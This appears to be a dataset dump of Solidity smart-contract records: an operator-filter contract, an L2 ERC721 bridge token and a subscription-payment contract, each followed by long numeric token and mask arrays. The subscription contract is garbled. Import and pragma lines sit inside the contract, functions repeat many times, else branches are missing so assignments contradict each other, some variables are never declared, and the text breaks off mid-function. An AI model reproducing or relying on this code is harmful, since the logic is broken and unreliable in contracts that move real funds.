./full_match/1/0xEd54d58fB5f6fCb264f641EDD64F5e035cB5138d/sources/contracts/royalty/DefaultOperatorFilterer.sol | * @title DefaultOperatorFilterer @notice Inherits from OperatorFilterer and automatically subscribes to the default OpenSea subscription./ | abstract contract DefaultOperatorFilterer is OperatorFilterer {
address constant DEFAULT_SUBSCRIPTION = address(0x3cc6CddA760b79bAfa08dF41ECFA224f810dCeB6);
pragma solidity 0.8.17;
import { OperatorFilterer } from "./OperatorFilterer.sol";
constructor() OperatorFilterer(DEFAULT_SUBSCRIPTION, true) {}
}
| 8,300,970 | [
1,
1868,
5592,
1586,
264,
225,
657,
20038,
628,
11097,
1586,
264,
471,
6635,
10189,
281,
358,
326,
805,
3502,
1761,
69,
4915,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
17801,
6835,
2989,
5592,
1586,
264,
353,
11097,
1586,
264,
288,
203,
225,
1758,
5381,
3331,
67,
8362,
11133,
273,
1758,
12,
20,
92,
23,
952,
26,
39,
449,
37,
27,
4848,
70,
7235,
70,
37,
507,
6840,
72,
42,
9803,
7228,
2046,
23622,
74,
28,
2163,
72,
39,
73,
38,
26,
1769,
203,
203,
683,
9454,
18035,
560,
374,
18,
28,
18,
4033,
31,
203,
5666,
288,
11097,
1586,
264,
289,
628,
25165,
5592,
1586,
264,
18,
18281,
14432,
203,
225,
3885,
1435,
11097,
1586,
264,
12,
5280,
67,
8362,
11133,
16,
638,
13,
2618,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import { ERC721 } from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import { IERC165 } from "@openzeppelin/contracts/utils/introspection/IERC165.sol";
import { Lib_PredeployAddresses } from "../libraries/constants/Lib_PredeployAddresses.sol";
import { Lib_Strings } from "../libraries/utils/Lib_Strings.sol";
import "./IL2StandardERC721.sol";
contract L2StandardERC721 is IL2StandardERC721, ERC721 {
address public l1Token;
address public l2Bridge;
string public baseTokenURI;
/**
* @param _l2Bridge Address of the L2 standard bridge.
* @param _l1Token Address of the corresponding L1 token.
* @param _name ERC721 name.
* @param _symbol ERC721 symbol.
*/
constructor(
address _l2Bridge,
address _l1Token,
string memory _name,
string memory _symbol
) ERC721(_name, _symbol) {
l1Token = _l1Token;
l2Bridge = _l2Bridge;
// Creates a base URI in the format specified by EIP-681:
// https://eips.ethereum.org/EIPS/eip-681
baseTokenURI = string(abi.encodePacked(
"ethereum:0x",
Lib_Strings.toAsciiString(_l1Token),
"@42/tokenURI?uint256="
));
}
modifier onlyL2Bridge() {
require(msg.sender == l2Bridge, "Only L2 Bridge can mint and burn");
_;
}
// slither-disable-next-line external-function
function supportsInterface(bytes4 _interfaceId)
public
view
override(ERC721, IERC165)
returns (bool)
{
bytes4 firstSupportedInterface = bytes4(keccak256("supportsInterface(bytes4)")); // ERC165
bytes4 secondSupportedInterface = IL2StandardERC721.l1Token.selector ^
IL2StandardERC721.mint.selector ^
IL2StandardERC721.burn.selector;
return
_interfaceId == firstSupportedInterface ||
_interfaceId == secondSupportedInterface ||
super.supportsInterface(_interfaceId);
}
// slither-disable-next-line external-function
function mint(address _to, uint256 _tokenId) public virtual onlyL2Bridge {
_safeMint(_to, _tokenId);
emit Mint(_to, _tokenId);
}
// slither-disable-next-line external-function
function burn(address _from, uint256 _tokenId) public virtual onlyL2Bridge {
_burn(_tokenId);
emit Burn(_from, _tokenId);
}
function _baseURI() internal view virtual override returns (string memory) {
return baseTokenURI;
}
}
| slither-disable-next-line external-function | function supportsInterface(bytes4 _interfaceId)
public
view
override(ERC721, IERC165)
returns (bool)
{
bytes4 secondSupportedInterface = IL2StandardERC721.l1Token.selector ^
IL2StandardERC721.mint.selector ^
IL2StandardERC721.burn.selector;
return
_interfaceId == firstSupportedInterface ||
_interfaceId == secondSupportedInterface ||
super.supportsInterface(_interfaceId);
}
| 13,123,515 | [
1,
2069,
2927,
17,
8394,
17,
4285,
17,
1369,
3903,
17,
915,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
6146,
1358,
12,
3890,
24,
389,
5831,
548,
13,
203,
3639,
1071,
203,
3639,
1476,
203,
3639,
3849,
12,
654,
39,
27,
5340,
16,
467,
654,
39,
28275,
13,
203,
3639,
1135,
261,
6430,
13,
203,
565,
288,
203,
3639,
1731,
24,
2205,
7223,
1358,
273,
467,
48,
22,
8336,
654,
39,
27,
5340,
18,
80,
21,
1345,
18,
9663,
3602,
203,
5411,
467,
48,
22,
8336,
654,
39,
27,
5340,
18,
81,
474,
18,
9663,
3602,
203,
5411,
467,
48,
22,
8336,
654,
39,
27,
5340,
18,
70,
321,
18,
9663,
31,
203,
3639,
327,
203,
5411,
389,
5831,
548,
422,
1122,
7223,
1358,
747,
203,
5411,
389,
5831,
548,
422,
2205,
7223,
1358,
747,
203,
5411,
2240,
18,
28064,
1358,
24899,
5831,
548,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0xdC2CFB49968b8f271B8A0d64bcf162BdbFa18d40/sources/src/SubscriptionManager.sol | * ........ ..::::::::::::. . .:::::::::::::::. =+-. --::::::::::::::::. =+++- ##+::::::::::::::. =+++++ #####: .::::::::::. =++++++ -######: .:::::::. =++++++- ######: :. .::::. =+++++++ #######: -=-:. .:. =+++++++ +######: -=====:. =++++++= :######: -========-. =++++++: +#####: -===========-.-+++++= =####: -==============-==+- :##: -================-. :+: -==============-. :==========-:. ...... @dev Contract which accepts ETH to pay for a subscription, which is used to buy and burn CHART from @dev the UniswapV2 LP Pool/ Percent of fees to use to buy and burn CHART Percent of fees to send to referrer if they have an active subscription | contract SubscriptionManager is OwnableRoles {
uint40 internal constant MAX_UINT40 = type(uint40).max;
uint256 public constant KEEPER_ROLE = uint256(1);
Nchart public immutable chart;
IUniswapV2Router02 public immutable router;
LibMap.Uint40Map private expiration;
uint8 public burnPercent = 99;
uint8 public referralPercent = 5;
event BurnPercentUpdated(uint8 newPercent, uint8 oldPercent);
event ReferralPaid(address indexed referrer, uint256 amount);
event ReferralFeePriceReductionUpdated(uint256 newAmount, uint256 oldAmount);
event ReferralPercentUpdated(uint8 newPercent, uint8 oldPercent);
event SubscriptionLengthUpdated(uint256 newLength, uint256 oldLength);
event SubscriptionPaid(address indexed subscriber, uint40 expirationTimestamp, uint256 price);
event SubscriptionPriceUpdated(uint256 newPrice, uint256 oldPrice);
error SubscriptionManager__BurnPercentMustBeGreaterThan50();
error SubscriptionManager__BurnPercentMustBeLessThan100();
error SubscriptionManager__CannotReferSelf();
error SubscriptionManager__CannotReduceMoreThanSubscriptionPrice();
error SubscriptionManager__CannotRegisterAddressZero();
error SubscriptionManager__CanOnlyIncreaseExpiration();
error SubscriptionManager__ErrorRetrievingPriceFromDataFeed();
error SubscriptionManager__ErrorSendingKeeperFunds();
error SubscriptionManager__InvalidETHAmountProvided(uint256 msgValue, uint256 ethRequired);
error SubscriptionManager__MaxFiftyPercentReferralPercent();
error SubscriptionManager__MustProvideAtLeastOneAddress();
error SubscriptionManager__OnlyOwner();
error SubscriptionManager__UseRegisterAddressesFunction();
pragma solidity 0.8.21;
import {Nchart} from "./Nchart.sol";
constructor(address payable chart_, address owner_, address router_) {
_initializeOwner(owner_);
chart = Nchart(chart_);
router = IUniswapV2Router02(router_);
}
receive() external payable {
revert SubscriptionManager__UseRegisterAddressesFunction();
}
fallback() external payable {
revert SubscriptionManager__UseRegisterAddressesFunction();
}
function setSubscriptionLength(uint40 newSubscriptionLength) external {
_requireIsOwner();
uint40 oldSubscriptionLength = subscriptionLength;
subscriptionLength = newSubscriptionLength;
emit SubscriptionLengthUpdated(newSubscriptionLength, oldSubscriptionLength);
}
function setReferralPercent(uint8 newPercent) external {
_requireIsOwner();
if (newPercent > 50) {
revert SubscriptionManager__MaxFiftyPercentReferralPercent();
}
uint8 oldPercent = referralPercent;
referralPercent = newPercent;
emit ReferralPercentUpdated(newPercent, oldPercent);
}
function setReferralPercent(uint8 newPercent) external {
_requireIsOwner();
if (newPercent > 50) {
revert SubscriptionManager__MaxFiftyPercentReferralPercent();
}
uint8 oldPercent = referralPercent;
referralPercent = newPercent;
emit ReferralPercentUpdated(newPercent, oldPercent);
}
function setReferralFeePriceReduction(uint256 newAmount) external {
_requireIsOwner();
if (newAmount >= subscriptionPrice) {
revert SubscriptionManager__CannotReduceMoreThanSubscriptionPrice();
}
uint256 oldReferralFeePriceReduction = referralFeePriceReduction;
referralFeePriceReduction = newAmount;
emit ReferralFeePriceReductionUpdated(newAmount, oldReferralFeePriceReduction);
}
function setReferralFeePriceReduction(uint256 newAmount) external {
_requireIsOwner();
if (newAmount >= subscriptionPrice) {
revert SubscriptionManager__CannotReduceMoreThanSubscriptionPrice();
}
uint256 oldReferralFeePriceReduction = referralFeePriceReduction;
referralFeePriceReduction = newAmount;
emit ReferralFeePriceReductionUpdated(newAmount, oldReferralFeePriceReduction);
}
function setSubscriptionPrice(uint256 newSubscriptionPrice) external {
_requireIsOwner();
uint256 oldSubscriptionPrice = subscriptionPrice;
subscriptionPrice = newSubscriptionPrice;
emit SubscriptionPriceUpdated(newSubscriptionPrice, oldSubscriptionPrice);
}
function setBurnPercent(uint8 newPercent) external {
_requireIsOwner();
if (newPercent > 100) {
revert SubscriptionManager__BurnPercentMustBeLessThan100();
}
if (newPercent < 50) {
revert SubscriptionManager__BurnPercentMustBeGreaterThan50();
}
uint8 oldPercent = burnPercent;
burnPercent = newPercent;
emit BurnPercentUpdated(newPercent, oldPercent);
}
function setBurnPercent(uint8 newPercent) external {
_requireIsOwner();
if (newPercent > 100) {
revert SubscriptionManager__BurnPercentMustBeLessThan100();
}
if (newPercent < 50) {
revert SubscriptionManager__BurnPercentMustBeGreaterThan50();
}
uint8 oldPercent = burnPercent;
burnPercent = newPercent;
emit BurnPercentUpdated(newPercent, oldPercent);
}
function setBurnPercent(uint8 newPercent) external {
_requireIsOwner();
if (newPercent > 100) {
revert SubscriptionManager__BurnPercentMustBeLessThan100();
}
if (newPercent < 50) {
revert SubscriptionManager__BurnPercentMustBeGreaterThan50();
}
uint8 oldPercent = burnPercent;
burnPercent = newPercent;
emit BurnPercentUpdated(newPercent, oldPercent);
}
function setExpirationTimestamp(uint40 newExpiration, address user) external {
_requireIsOwner();
if (newExpiration < LibMap.get(expiration, uint256(uint160(user)))){
revert SubscriptionManager__CanOnlyIncreaseExpiration();
}
LibMap.set(expiration, uint256(uint160(user)), newExpiration);
}
function setExpirationTimestamp(uint40 newExpiration, address user) external {
_requireIsOwner();
if (newExpiration < LibMap.get(expiration, uint256(uint160(user)))){
revert SubscriptionManager__CanOnlyIncreaseExpiration();
}
LibMap.set(expiration, uint256(uint160(user)), newExpiration);
}
function grantKeeperRole(address newKeeper) external {
grantRoles(newKeeper, KEEPER_ROLE);
}
function revokeKeeperRole(address toRevoke) external {
revokeRoles(toRevoke, KEEPER_ROLE);
}
function registerAddresses(address[] calldata addresses, address referrer) external payable {
uint256 numSubs = addresses.length;
if (numSubs == 0) {
revert SubscriptionManager__MustProvideAtLeastOneAddress();
}
if (referrer == msg.sender) {
revert SubscriptionManager__CannotReferSelf();
}
uint256 subPrice = subscriptionPrice;
uint256 referralFeeReduction = referrer != address(0) ? referralFeePriceReduction * numSubs : 0;
uint256 ethRequired = numSubs * subPrice;
uint256 referralAmount;
if (block.timestamp <= LibMap.get(expiration, uint256(uint160(referrer)))) {
if (referralPercent > 0) {
referralAmount = ethRequired * referralPercent / 100;
}
}
if (referralFeeReduction > 0) {
ethRequired -= referralFeeReduction;
}
if (msg.value != ethRequired) {
revert SubscriptionManager__InvalidETHAmountProvided(msg.value, ethRequired);
}
uint40 subLength = subscriptionLength;
if (subLength == 0) {
for (uint256 i = 0; i < numSubs;) {
address addr = addresses[i];
_requireValidAddress(addr);
LibMap.set(expiration, uint256(uint160(addr)), type(uint40).max);
emit SubscriptionPaid(addr, MAX_UINT40, subPrice);
unchecked {
++i;
}
}
uint40 maxExpiration = type(uint40).max - subLength;
for (uint256 i = 0; i < numSubs;) {
address addr = addresses[i];
_requireValidAddress(addr);
uint40 addrExpiration = LibMap.get(expiration, uint256(uint160(addr)));
uint40 timestamp = uint40(block.timestamp);
if (addrExpiration < timestamp) {
if (timestamp > maxExpiration) {
addrExpiration = type(uint40).max;
addrExpiration = timestamp + subLength;
}
unchecked {
addrExpiration += subLength;
}
addrExpiration = type(uint40).max;
}
LibMap.set(expiration, uint256(uint160(addr)), addrExpiration);
emit SubscriptionPaid(addr, addrExpiration, subPrice);
unchecked {
++i;
}
}
}
if (referralAmount > 0) {
payable(referrer).transfer(referralAmount);
emit ReferralPaid(referrer, referralAmount);
}
}
function registerAddresses(address[] calldata addresses, address referrer) external payable {
uint256 numSubs = addresses.length;
if (numSubs == 0) {
revert SubscriptionManager__MustProvideAtLeastOneAddress();
}
if (referrer == msg.sender) {
revert SubscriptionManager__CannotReferSelf();
}
uint256 subPrice = subscriptionPrice;
uint256 referralFeeReduction = referrer != address(0) ? referralFeePriceReduction * numSubs : 0;
uint256 ethRequired = numSubs * subPrice;
uint256 referralAmount;
if (block.timestamp <= LibMap.get(expiration, uint256(uint160(referrer)))) {
if (referralPercent > 0) {
referralAmount = ethRequired * referralPercent / 100;
}
}
if (referralFeeReduction > 0) {
ethRequired -= referralFeeReduction;
}
if (msg.value != ethRequired) {
revert SubscriptionManager__InvalidETHAmountProvided(msg.value, ethRequired);
}
uint40 subLength = subscriptionLength;
if (subLength == 0) {
for (uint256 i = 0; i < numSubs;) {
address addr = addresses[i];
_requireValidAddress(addr);
LibMap.set(expiration, uint256(uint160(addr)), type(uint40).max);
emit SubscriptionPaid(addr, MAX_UINT40, subPrice);
unchecked {
++i;
}
}
uint40 maxExpiration = type(uint40).max - subLength;
for (uint256 i = 0; i < numSubs;) {
address addr = addresses[i];
_requireValidAddress(addr);
uint40 addrExpiration = LibMap.get(expiration, uint256(uint160(addr)));
uint40 timestamp = uint40(block.timestamp);
if (addrExpiration < timestamp) {
if (timestamp > maxExpiration) {
addrExpiration = type(uint40).max;
addrExpiration = timestamp + subLength;
}
unchecked {
addrExpiration += subLength;
}
addrExpiration = type(uint40).max;
}
LibMap.set(expiration, uint256(uint160(addr)), addrExpiration);
emit SubscriptionPaid(addr, addrExpiration, subPrice);
unchecked {
++i;
}
}
}
if (referralAmount > 0) {
payable(referrer).transfer(referralAmount);
emit ReferralPaid(referrer, referralAmount);
}
}
function registerAddresses(address[] calldata addresses, address referrer) external payable {
uint256 numSubs = addresses.length;
if (numSubs == 0) {
revert SubscriptionManager__MustProvideAtLeastOneAddress();
}
if (referrer == msg.sender) {
revert SubscriptionManager__CannotReferSelf();
}
uint256 subPrice = subscriptionPrice;
uint256 referralFeeReduction = referrer != address(0) ? referralFeePriceReduction * numSubs : 0;
uint256 ethRequired = numSubs * subPrice;
uint256 referralAmount;
if (block.timestamp <= LibMap.get(expiration, uint256(uint160(referrer)))) {
if (referralPercent > 0) {
referralAmount = ethRequired * referralPercent / 100;
}
}
if (referralFeeReduction > 0) {
ethRequired -= referralFeeReduction;
}
if (msg.value != ethRequired) {
revert SubscriptionManager__InvalidETHAmountProvided(msg.value, ethRequired);
}
uint40 subLength = subscriptionLength;
if (subLength == 0) {
for (uint256 i = 0; i < numSubs;) {
address addr = addresses[i];
_requireValidAddress(addr);
LibMap.set(expiration, uint256(uint160(addr)), type(uint40).max);
emit SubscriptionPaid(addr, MAX_UINT40, subPrice);
unchecked {
++i;
}
}
uint40 maxExpiration = type(uint40).max - subLength;
for (uint256 i = 0; i < numSubs;) {
address addr = addresses[i];
_requireValidAddress(addr);
uint40 addrExpiration = LibMap.get(expiration, uint256(uint160(addr)));
uint40 timestamp = uint40(block.timestamp);
if (addrExpiration < timestamp) {
if (timestamp > maxExpiration) {
addrExpiration = type(uint40).max;
addrExpiration = timestamp + subLength;
}
unchecked {
addrExpiration += subLength;
}
addrExpiration = type(uint40).max;
}
LibMap.set(expiration, uint256(uint160(addr)), addrExpiration);
emit SubscriptionPaid(addr, addrExpiration, subPrice);
unchecked {
++i;
}
}
}
if (referralAmount > 0) {
payable(referrer).transfer(referralAmount);
emit ReferralPaid(referrer, referralAmount);
}
}
function registerAddresses(address[] calldata addresses, address referrer) external payable {
uint256 numSubs = addresses.length;
if (numSubs == 0) {
revert SubscriptionManager__MustProvideAtLeastOneAddress();
}
if (referrer == msg.sender) {
revert SubscriptionManager__CannotReferSelf();
}
uint256 subPrice = subscriptionPrice;
uint256 referralFeeReduction = referrer != address(0) ? referralFeePriceReduction * numSubs : 0;
uint256 ethRequired = numSubs * subPrice;
uint256 referralAmount;
if (block.timestamp <= LibMap.get(expiration, uint256(uint160(referrer)))) {
if (referralPercent > 0) {
referralAmount = ethRequired * referralPercent / 100;
}
}
if (referralFeeReduction > 0) {
ethRequired -= referralFeeReduction;
}
if (msg.value != ethRequired) {
revert SubscriptionManager__InvalidETHAmountProvided(msg.value, ethRequired);
}
uint40 subLength = subscriptionLength;
if (subLength == 0) {
for (uint256 i = 0; i < numSubs;) {
address addr = addresses[i];
_requireValidAddress(addr);
LibMap.set(expiration, uint256(uint160(addr)), type(uint40).max);
emit SubscriptionPaid(addr, MAX_UINT40, subPrice);
unchecked {
++i;
}
}
uint40 maxExpiration = type(uint40).max - subLength;
for (uint256 i = 0; i < numSubs;) {
address addr = addresses[i];
_requireValidAddress(addr);
uint40 addrExpiration = LibMap.get(expiration, uint256(uint160(addr)));
uint40 timestamp = uint40(block.timestamp);
if (addrExpiration < timestamp) {
if (timestamp > maxExpiration) {
addrExpiration = type(uint40).max;
addrExpiration = timestamp + subLength;
}
unchecked {
addrExpiration += subLength;
}
addrExpiration = type(uint40).max;
}
LibMap.set(expiration, uint256(uint160(addr)), addrExpiration);
emit SubscriptionPaid(addr, addrExpiration, subPrice);
unchecked {
++i;
}
}
}
if (referralAmount > 0) {
payable(referrer).transfer(referralAmount);
emit ReferralPaid(referrer, referralAmount);
}
}
function registerAddresses(address[] calldata addresses, address referrer) external payable {
uint256 numSubs = addresses.length;
if (numSubs == 0) {
revert SubscriptionManager__MustProvideAtLeastOneAddress();
}
if (referrer == msg.sender) {
revert SubscriptionManager__CannotReferSelf();
}
uint256 subPrice = subscriptionPrice;
uint256 referralFeeReduction = referrer != address(0) ? referralFeePriceReduction * numSubs : 0;
uint256 ethRequired = numSubs * subPrice;
uint256 referralAmount;
if (block.timestamp <= LibMap.get(expiration, uint256(uint160(referrer)))) {
if (referralPercent > 0) {
referralAmount = ethRequired * referralPercent / 100;
}
}
if (referralFeeReduction > 0) {
ethRequired -= referralFeeReduction;
}
if (msg.value != ethRequired) {
revert SubscriptionManager__InvalidETHAmountProvided(msg.value, ethRequired);
}
uint40 subLength = subscriptionLength;
if (subLength == 0) {
for (uint256 i = 0; i < numSubs;) {
address addr = addresses[i];
_requireValidAddress(addr);
LibMap.set(expiration, uint256(uint160(addr)), type(uint40).max);
emit SubscriptionPaid(addr, MAX_UINT40, subPrice);
unchecked {
++i;
}
}
uint40 maxExpiration = type(uint40).max - subLength;
for (uint256 i = 0; i < numSubs;) {
address addr = addresses[i];
_requireValidAddress(addr);
uint40 addrExpiration = LibMap.get(expiration, uint256(uint160(addr)));
uint40 timestamp = uint40(block.timestamp);
if (addrExpiration < timestamp) {
if (timestamp > maxExpiration) {
addrExpiration = type(uint40).max;
addrExpiration = timestamp + subLength;
}
unchecked {
addrExpiration += subLength;
}
addrExpiration = type(uint40).max;
}
LibMap.set(expiration, uint256(uint160(addr)), addrExpiration);
emit SubscriptionPaid(addr, addrExpiration, subPrice);
unchecked {
++i;
}
}
}
if (referralAmount > 0) {
payable(referrer).transfer(referralAmount);
emit ReferralPaid(referrer, referralAmount);
}
}
function registerAddresses(address[] calldata addresses, address referrer) external payable {
uint256 numSubs = addresses.length;
if (numSubs == 0) {
revert SubscriptionManager__MustProvideAtLeastOneAddress();
}
if (referrer == msg.sender) {
revert SubscriptionManager__CannotReferSelf();
}
uint256 subPrice = subscriptionPrice;
uint256 referralFeeReduction = referrer != address(0) ? referralFeePriceReduction * numSubs : 0;
uint256 ethRequired = numSubs * subPrice;
uint256 referralAmount;
if (block.timestamp <= LibMap.get(expiration, uint256(uint160(referrer)))) {
if (referralPercent > 0) {
referralAmount = ethRequired * referralPercent / 100;
}
}
if (referralFeeReduction > 0) {
ethRequired -= referralFeeReduction;
}
if (msg.value != ethRequired) {
revert SubscriptionManager__InvalidETHAmountProvided(msg.value, ethRequired);
}
uint40 subLength = subscriptionLength;
if (subLength == 0) {
for (uint256 i = 0; i < numSubs;) {
address addr = addresses[i];
_requireValidAddress(addr);
LibMap.set(expiration, uint256(uint160(addr)), type(uint40).max);
emit SubscriptionPaid(addr, MAX_UINT40, subPrice);
unchecked {
++i;
}
}
uint40 maxExpiration = type(uint40).max - subLength;
for (uint256 i = 0; i < numSubs;) {
address addr = addresses[i];
_requireValidAddress(addr);
uint40 addrExpiration = LibMap.get(expiration, uint256(uint160(addr)));
uint40 timestamp = uint40(block.timestamp);
if (addrExpiration < timestamp) {
if (timestamp > maxExpiration) {
addrExpiration = type(uint40).max;
addrExpiration = timestamp + subLength;
}
unchecked {
addrExpiration += subLength;
}
addrExpiration = type(uint40).max;
}
LibMap.set(expiration, uint256(uint160(addr)), addrExpiration);
emit SubscriptionPaid(addr, addrExpiration, subPrice);
unchecked {
++i;
}
}
}
if (referralAmount > 0) {
payable(referrer).transfer(referralAmount);
emit ReferralPaid(referrer, referralAmount);
}
}
function registerAddresses(address[] calldata addresses, address referrer) external payable {
uint256 numSubs = addresses.length;
if (numSubs == 0) {
revert SubscriptionManager__MustProvideAtLeastOneAddress();
}
if (referrer == msg.sender) {
revert SubscriptionManager__CannotReferSelf();
}
uint256 subPrice = subscriptionPrice;
uint256 referralFeeReduction = referrer != address(0) ? referralFeePriceReduction * numSubs : 0;
uint256 ethRequired = numSubs * subPrice;
uint256 referralAmount;
if (block.timestamp <= LibMap.get(expiration, uint256(uint160(referrer)))) {
if (referralPercent > 0) {
referralAmount = ethRequired * referralPercent / 100;
}
}
if (referralFeeReduction > 0) {
ethRequired -= referralFeeReduction;
}
if (msg.value != ethRequired) {
revert SubscriptionManager__InvalidETHAmountProvided(msg.value, ethRequired);
}
uint40 subLength = subscriptionLength;
if (subLength == 0) {
for (uint256 i = 0; i < numSubs;) {
address addr = addresses[i];
_requireValidAddress(addr);
LibMap.set(expiration, uint256(uint160(addr)), type(uint40).max);
emit SubscriptionPaid(addr, MAX_UINT40, subPrice);
unchecked {
++i;
}
}
uint40 maxExpiration = type(uint40).max - subLength;
for (uint256 i = 0; i < numSubs;) {
address addr = addresses[i];
_requireValidAddress(addr);
uint40 addrExpiration = LibMap.get(expiration, uint256(uint160(addr)));
uint40 timestamp = uint40(block.timestamp);
if (addrExpiration < timestamp) {
if (timestamp > maxExpiration) {
addrExpiration = type(uint40).max;
addrExpiration = timestamp + subLength;
}
unchecked {
addrExpiration += subLength;
}
addrExpiration = type(uint40).max;
}
LibMap.set(expiration, uint256(uint160(addr)), addrExpiration);
emit SubscriptionPaid(addr, addrExpiration, subPrice);
unchecked {
++i;
}
}
}
if (referralAmount > 0) {
payable(referrer).transfer(referralAmount);
emit ReferralPaid(referrer, referralAmount);
}
}
function registerAddresses(address[] calldata addresses, address referrer) external payable {
uint256 numSubs = addresses.length;
if (numSubs == 0) {
revert SubscriptionManager__MustProvideAtLeastOneAddress();
}
if (referrer == msg.sender) {
revert SubscriptionManager__CannotReferSelf();
}
uint256 subPrice = subscriptionPrice;
uint256 referralFeeReduction = referrer != address(0) ? referralFeePriceReduction * numSubs : 0;
uint256 ethRequired = numSubs * subPrice;
uint256 referralAmount;
if (block.timestamp <= LibMap.get(expiration, uint256(uint160(referrer)))) {
if (referralPercent > 0) {
referralAmount = ethRequired * referralPercent / 100;
}
}
if (referralFeeReduction > 0) {
ethRequired -= referralFeeReduction;
}
if (msg.value != ethRequired) {
revert SubscriptionManager__InvalidETHAmountProvided(msg.value, ethRequired);
}
uint40 subLength = subscriptionLength;
if (subLength == 0) {
for (uint256 i = 0; i < numSubs;) {
address addr = addresses[i];
_requireValidAddress(addr);
LibMap.set(expiration, uint256(uint160(addr)), type(uint40).max);
